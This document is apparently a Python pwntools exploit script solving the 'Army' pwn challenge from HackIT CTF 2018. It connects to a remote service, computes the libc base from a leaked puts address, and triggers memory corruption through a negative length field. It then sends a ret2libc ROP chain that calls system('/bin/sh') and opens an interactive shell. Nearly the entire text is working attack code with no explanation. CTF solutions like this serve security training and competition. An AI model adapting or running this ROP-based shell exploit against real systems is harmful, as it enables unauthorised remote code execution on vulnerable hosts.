HackIT CTF 2018 - Army

army.py

from pwn import *
import sys

#r = process("./army")
HOST=sys.argv[1]
PORT=sys.argv[2]

r = remote(HOST,int(PORT))
libc = ELF("libc.so.6")


pause()

def get_ur_leak():
	r.recvuntil("Luck : ")
	return u64(r.recvline()[:-1].ljust(8,"\x00"))


def join(name,h,w,a_l,l):
	r.sendline("1")

	r.recvuntil("name:")
	r.sendline(name)
	
	r.recvuntil("height:")
	r.sendline(str(h))
	
	r.recvuntil("weight:")
	r.sendline(str(w))
	
	r.recvuntil("answer:")
	r.sendline(str(a_l))

	r.recvuntil("description:")
	r.send(l)

	r.recv()


def show():
	r.sendline("2")
	print r.recvuntil("1.")

def mocking(data):
	r.sendline("3")
	r.recvuntil(":")
	r.sendline(data)
	r.recv()

puts_leak = get_ur_leak()
libc_base = puts_leak - libc.symbols["puts"]

print hex(libc_base)

join("CHUNK1",11,11,(80),"A"*(80))
#pause()
mocking("A"*10)

r.sendline("1")

r.recvuntil("name:")
r.sendline("AAAA")
	
r.recvuntil("height:")
r.sendline(str(1))
	
r.recvuntil("weight:")
r.sendline(str(2))
	
r.recvuntil("answer:")
r.sendline(str(-1))

rop = "A"*56
rop += p64(0x400d03) #pop rdi
rop += p64(libc_base+libc.search("/bin/sh").next())
rop += p64(libc_base+libc.symbols["system"])

mocking(rop)

r.interactive()